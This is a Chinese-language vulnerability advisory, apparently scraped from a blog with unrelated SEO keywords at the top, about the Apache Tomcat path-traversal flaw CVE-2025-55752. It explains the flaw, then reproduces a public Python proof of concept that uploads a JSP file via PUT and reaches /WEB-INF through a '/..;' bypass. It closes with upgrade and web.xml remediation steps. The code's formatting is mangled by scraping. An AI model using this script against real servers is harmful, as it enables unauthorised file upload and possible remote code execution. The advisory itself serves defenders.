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即墨网站建设哪家好,手机上的网页游戏,山东省建设科技协会网站首页,国际新闻最新消息战争视频CVSS评分#xff1a;7.5 CVE-2025-55752_ Apache Tomcat 安全漏洞1. 漏洞原理2. 漏洞危害3. 漏洞修复升级版本修复配置修复1. 漏洞原理 CVE-2025-55752 是 Apache Tomcat 中一个 相对路径遍历#xff08;Relative Path Traversal#xff09;漏洞。简单来说#xff0c;这个…CVSS评分7.5CVE-2025-55752_ Apache Tomcat 安全漏洞1. 漏洞原理2. 漏洞危害3. 漏洞修复升级版本修复配置修复1. 漏洞原理CVE-2025-55752 是 Apache Tomcat 中一个 相对路径遍历Relative Path Traversal漏洞。简单来说这个漏洞允许攻击者通过精心构造的 URL 绕过安全约束并且在某些条件下可能导致 RCE漏洞发生在 Tomcat 的 URI 重写RewriteValve处理逻辑URL 先被规范化simplified/normalized然后才解码URL decoded正确的安全逻辑应该是先解码再规范化路径。但是因为顺序错误攻击者可以利用 URL 编码技巧如%2e%2e代表..来避开安全检查可利用的 POChttps://github.com/TAM-K592/CVE-2025-55752/importrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER CVE-2025-55752 Tomcat Path Bypass Upload Detection Script This tool attempts to exploit a Rewrite Valve normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. defattempt_put_upload(target,filename,payload,verify_ssl):upload_pathf/{filename}urlf{target}{upload_path}try:print(f[] Attempting to upload payload to:{url})responserequests.put(url,datapayload,verifyverify_ssl,timeout10)ifresponse.status_codein[200,201,204]:print(f[] Upload successful! Response code:{response.status_code})returnupload_pathelse:print(f[-] Upload failed! Response code:{response.status_code})returnNoneexceptExceptionase:print(f[!] Upload error:{e})returnNonedefcheck_access(target,path,verify_ssl):bypass_pathf/..;{path}urlf{target}{bypass_path}try:print(f[] Checking access to:{url})responserequests.get(url,verifyverify_ssl,timeout10)ifresponse.status_code200:print([] Bypass successful! Target may be vulnerable.)returnTrueelse:print(f[-] Access denied or not vulnerable (HTTP{response.status_code}).)returnFalseexceptExceptionase:print(f[!] Access check error:{e})returnFalsedefmain():parserargparse.ArgumentParser(descriptionCVE-2025-55752 Exploit Detection Tool)parser.add_argument(url,helpTarget base URL (e.g., http://127.0.0.1:8080))parser.add_argument(--filename,defaultshell.jsp,helpFilename to upload (default: shell.jsp))parser.add_argument(--payload,default% out.println(\Bypassed!\); %,helpPayload content to upload)parser.add_argument(--check,actionstore_true,helpOnly check for path bypass without uploading)parser.add_argument(--no-ssl-verify,actionstore_true,helpDisable SSL certificate verification)argsparser.parse_args()print(BANNER)verify_sslnotargs.no_ssl_verifyifnotargs.url.startswith(http):print([-] Please include http:// or https:// in the URL)sys.exit(1)ifargs.check:check_access(args.url,f/WEB-INF/{args.filename},verify_ssl)else:uploaded_pathattempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f/WEB-INF/{args.filename},verify_ssl)if__name____main__:main()2. 漏洞危害微步提示中风险如果 Tomcat 部署启用了 HTTP PUT 请求 或者暴露了可写接口在成功绕过目录保护后 上传恶意文件如 JSP/Servlet 代码可进一步触发 RCE3. 漏洞修复升级版本修复升级到修复版本Tomcat 11.0.11 或更高Tomcat 10.1.45 或更高Tomcat 9.0.109 或更高配置修复若非必要禁用Tomcat的PUT请求功能减少攻击面。可在conf/web.xml中配置!-- 禁用PUT请求示例 --security-constraintweb-resource-collectionweb-resource-nameDisable PUT/web-resource-nameurl-pattern/*/url-patternhttp-methodPUT/http-method/web-resource-collectionauth-constraint//security-constraint确保web.xml中的安全约束配置正确限制对敏感目录的访问!-- 示例在web.xml中添加安全约束 --security-constraintweb-resource-collectionweb-resource-nameProtected Area/web-resource-nameurl-pattern/WEB-INF/*/url-patternurl-pattern/META-INF/*/url-pattern/web-resource-collectionauth-constraintrole-nameadmin/role-name/auth-constraint/security-constraint